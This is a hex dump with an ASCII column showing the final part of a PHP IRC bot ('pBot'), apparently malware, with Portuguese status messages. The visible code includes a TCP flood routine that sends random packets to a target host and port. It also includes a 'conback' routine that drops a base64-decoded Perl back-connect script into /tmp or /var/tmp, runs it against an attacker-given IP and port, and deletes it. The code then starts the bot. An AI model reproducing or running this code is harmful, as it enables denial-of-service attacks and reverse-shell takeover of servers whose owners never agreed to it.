21248: 68616E275D2C225B5C32546370466C6F6F642053746172746564215C325D2229          han'],"[\2TcpFlood Started!\2]")
21280: 3B0D0A0D0A20202020247061636B6574203D2022223B0D0A0D0A20202020666F          ; $packet = ""; fo
21312: 722824693D303B24693C247061636B657473697A653B24692B2B290D0A0D0A20          r($i= ;$i<$packetsize;$i++)
21344: 202020202020247061636B6574202E3D20636872286D745F72616E6428312C32          $packet .= chr(mt_rand(1,2
21376: 353629293B0D0A0D0A20202020666F722824693D303B24693C247061636B6574          56)); for($i= ;$i<$packet
21408: 733B24692B2B290D0A0D0A202020207B0D0A0D0A202020202020206966282124          s;$i++) { if(!$
21440: 66703D66736F636B6F70656E28227463703A2F2F222E24686F73742C24706F72          fp=fsockopen("tcp://".$host,$por
21472: 742C24652C24732C3529290D0A0D0A202020202020207B0D0A0D0A2020202020          t,$e,$s,5)) {
21504: 202020202024746869732D3E707269766D73672824746869732D3E636F6E6669          $this->privmsg($this->confi
21536: 675B276368616E275D2C225B5C32546370466C6F6F645C325D3A204572726F72          g['chan'],"[\2TcpFlood\2]: Error
21568: 3A203C24653E22293B0D0A0D0A2020202020202020202072657475726E20303B          : <$e>"); return  ;
21600: 0D0A0D0A202020202020207D0D0A0D0A20202020202020656C73650D0A0D0A20          } else
21632: 2020202020207B0D0A0D0A20202020202020202020667772697465282466702C          { fwrite($fp,
21664: 247061636B6574293B0D0A0D0A2020202020202020202066636C6F7365282466          $packet); fclose($f
21696: 70293B0D0A0D0A202020202020207D0D0A0D0A20202020202020736C65657028          p); } sleep(
21728: 2464656C6179293B0D0A0D0A202020207D0D0A0D0A2020202024746869732D3E          $delay); } $this->
21760: 707269766D73672824746869732D3E636F6E6669675B276368616E275D2C225B          privmsg($this->config['chan'],"[
21792: 5C32546370466C6F6F642046696E6973686564215C325D3A20436F6E66696720          \2TcpFlood Finished!\2]: Config
21824: 2D20247061636B657473207061636F74657320706172612024686F73743A2470          - $packets pacotes para $host:$p
21856: 6F72742E22293B0D0A0D0A7D0D0A0D0A66756E6374696F6E20636F6E6261636B          ort."); } function conback
21888: 282469702C24706F7274290D0A0D0A7B0D0A0D0A2020202024746869732D3E70          ($ip,$port) { $this->p
21920: 7269766D73672824746869732D3E636F6E6669675B276368616E275D2C225B5C          rivmsg($this->config['chan'],"[\
21952: 32636F6E6261636B5C325D3A2074656E74616E646F20636F6E656374616E646F          2conback\2]: tentando conectando
21984: 2061202469703A24706F727422293B0D0A0D0A202020202464635F736F757263          a $ip:$port"); $dc_sourc
22016: 65203D2022223B0D0A0D0A202020206966202869735F7772697461626C652822          e = ""; if (is_writable("
22048: 2F746D702229290D0A0D0A202020207B0D0A0D0A202020202020696620286669          /tmp")) { if (fi
22080: 6C655F65786973747328222F746D702F64632E706C222929207B20756E6C696E          le_exists("/tmp/dc.pl")) { unlin
22112: 6B28222F746D702F64632E706C22293B207D0D0A0D0A2020202020202466703D          k("/tmp/dc.pl"); } $fp=
22144: 666F70656E28222F746D702F64632E706C222C227722293B0D0A0D0A20202020          fopen("/tmp/dc.pl","w");
22176: 2020667772697465282466702C6261736536345F6465636F6465282464635F73          fwrite($fp,base64_decode($dc_s
22208: 6F7572636529293B0D0A0D0A202020202020706173737468727528227065726C          ource)); passthru("perl
22240: 202F746D702F64632E706C202469702024706F7274202622293B0D0A0D0A2020          /tmp/dc.pl $ip $port &");
22272: 20202020756E6C696E6B28222F746D702F64632E706C22293B0D0A0D0A202020          unlink("/tmp/dc.pl");
22304: 207D0D0A0D0A20202020656C73650D0A0D0A202020207B0D0A0D0A2020202069          } else { i
22336: 66202869735F7772697461626C6528222F7661722F746D702229290D0A0D0A20          f (is_writable("/var/tmp"))
22368: 2020207B0D0A0D0A2020202020206966202866696C655F65786973747328222F          { if (file_exists("/
22400: 7661722F746D702F64632E706C222929207B20756E6C696E6B28222F7661722F          var/tmp/dc.pl")) { unlink("/var/
22432: 746D702F64632E706C22293B207D0D0A0D0A2020202020202466703D666F7065          tmp/dc.pl"); } $fp=fope
22464: 6E28222F7661722F746D702F64632E706C222C227722293B0D0A0D0A20202020          n("/var/tmp/dc.pl","w");
22496: 2020667772697465282466702C6261736536345F6465636F6465282464635F73          fwrite($fp,base64_decode($dc_s
22528: 6F7572636529293B0D0A0D0A202020202020706173737468727528227065726C          ource)); passthru("perl
22560: 202F7661722F746D702F64632E706C202469702024706F7274202622293B0D0A          /var/tmp/dc.pl $ip $port &");
22592: 0D0A202020202020756E6C696E6B28222F7661722F746D702F64632E706C2229          unlink("/var/tmp/dc.pl")
22624: 3B0D0A0D0A202020207D0D0A0D0A202020206966202869735F7772697461626C          ; } if (is_writabl
22656: 6528222E2229290D0A0D0A202020207B0D0A0D0A202020202020696620286669          e(".")) { if (fi
22688: 6C655F657869737473282264632E706C222929207B20756E6C696E6B28226463          le_exists("dc.pl")) { unlink("dc
22720: 2E706C22293B207D0D0A0D0A2020202020202466703D666F70656E282264632E          .pl"); } $fp=fopen("dc.
22752: 706C222C227722293B0D0A0D0A202020202020667772697465282466702C6261          pl","w"); fwrite($fp,ba
22784: 736536345F6465636F6465282464635F736F7572636529293B0D0A0D0A202020          se64_decode($dc_source));
22816: 202020706173737468727528227065726C2064632E706C202469702024706F72          passthru("perl dc.pl $ip $por
22848: 74202622293B0D0A0D0A202020202020756E6C696E6B282264632E706C22293B          t &"); unlink("dc.pl");
22880: 0D0A0D0A202020207D0D0A0D0A202020207D0D0A0D0A20207D0D0A0D0A0D0A0D          } } }
22912: 0A7D0D0A0D0A0D0A0D0A24626F74203D206E65772070426F743B0D0A0D0A2462          } $bot = new pBot; $b
22944: 6F742D3E737461727428293B0D0A0D0A0D0A0D0A3F3E          ot->start(); ?>